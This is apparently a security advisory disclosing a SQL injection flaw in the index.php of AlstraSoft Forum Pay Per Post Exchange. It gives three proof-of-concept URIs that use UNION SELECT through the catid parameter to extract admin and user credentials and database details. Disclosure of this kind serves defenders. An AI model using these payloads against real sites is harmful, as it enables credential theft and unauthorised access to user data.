|
AlstraSoft Forum Pay Per Post Exchange 'index.php' SQL Injection Vulnerability
An attacker can exploit this issue via a browser. The following proof-of-concept URIs are available: http://www.example.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(auser,0x3a,apass),7/**/FROM/**/admin/* http://www.example.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(username,0x3a,uemail,0x3a,upass),7/**/FROM/**/users/* http://www.example.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/SELECT/**/1,2,3,database(),5,version(),7/* |
|
|
Privacy Statement |
